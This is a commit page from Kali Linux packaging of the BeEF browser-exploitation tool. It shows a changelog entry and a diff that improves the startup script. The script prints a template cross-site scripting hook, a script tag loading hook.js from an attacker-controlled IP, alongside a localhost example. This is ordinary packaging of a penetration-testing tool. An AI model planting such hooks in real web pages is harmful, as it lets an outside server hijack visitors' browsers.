Commit bd91e526 authored by Raphaël Hertzog's avatar Raphaël Hertzog

Improve the startup script.

parent 41ab1c9b
beef-xss (0.4.6.1-0kali2) kali-dev; urgency=medium
* Improve the startup script.
-- Raphaël Hertzog <hertzog@debian.org> Tue, 28 Jul 2015 23:42:34 +0200
beef-xss (0.4.6.1-0kali1) kali-dev; urgency=medium
* Import new upstream release
......
......@@ -5,9 +5,14 @@ if [[ $EUID -ne 0 ]]; then
exit 1
fi
port=$(ruby -ryaml -e "print YAML.load_file('/etc/beef-xss/config.yaml')['beef']['http']['port']")
echo '[*] Please wait as BeEF services are started.'
echo '[*] You might need to refresh your browser once it opens.'
service beef-xss start
sleep 5
xdg-open http://127.0.0.1:3000/ui/panel
echo "[*] UI URL: http://127.0.0.1:$port/ui/panel"
echo "[*] Hook: <script src=\"http://<IP>:$port/hook.js\"></script>"
echo "[*] Example: <script src=\"http://127.0.0.1:$port/hook.js\"></script>"
service beef-xss start
sleep 10
xdg-open http://127.0.0.1:$port/ui/panel
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment